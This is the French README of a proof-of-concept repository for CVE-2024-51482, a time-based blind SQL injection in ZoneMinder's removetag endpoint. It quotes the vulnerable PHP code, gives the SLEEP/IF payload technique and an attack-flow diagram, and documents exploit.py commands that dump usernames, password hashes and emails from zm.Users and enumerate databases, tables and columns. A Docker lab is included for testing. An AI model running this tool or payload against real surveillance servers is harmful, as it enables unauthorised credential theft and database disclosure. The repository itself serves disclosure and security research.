
PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données.
⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou sans autorisation écrite est illégal.
Ce dépôt contient un PoC d'injection SQL basée sur le temps ciblant ZoneMinder.
L'outil permet :
Il inclut également un laboratoire Docker entièrement reproductible pour des tests sécurisés.
ZoneMinder est un logiciel libre et open source de vidéosurveillance. La vulnérabilité provient d'une validation d'entrée insuffisante dans le point de terminaison removetag de ZoneMinder. L'entrée fournie par l'utilisateur est directement incorporée dans les requêtes SQL sans assainissement ni paramétrage approprié, permettant aux attaquants d'injecter des charges utiles SQL basées sur des booléens malveillantes. L'exploitation utilise :
SLEEP(x - IF(condition, 0, x))
pour déduire les données via le temps de réponse.
Extrait de code vulnérable complet provenant de l'avis du responsable GitHub :
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attaquant Application Web ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← session authentifiée
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Requête SQL booléenne exécutée
│ IF(condition, pas de délai, SLEEP)
│◄────────────────────────────────────────│
│ Réponse retardée (oracle temporel) │ ← condition déduite
│ │
│ Requêtes répétées │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Différences de temps révèlent les caractères │
│ │
│ Recherche binaire par caractère │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Données extraites (1 caractère à la fois) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgation complète de la base de données │
│ │
✓ Exfiltration complète des données via SQLi aveugle
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurer les variables d'environnement
docker compose up -d
Sans aucun drapeau, l'outil s'authentifie auprès de la cible, vérifie sa vulnérabilité, et si vulnérable, vide les colonnes ID, Username, Password, Name et Email de la table zm.Users (commande dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Vérifie uniquement si la cible est vulnérable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Vide les colonnes ID, Username, Password, Name et Email de la table zm.Users. Commande par défaut si aucune n'est spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Liste toutes les bases de données.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Liste les tables d'une base de données spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Liste les colonnes d'une table spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>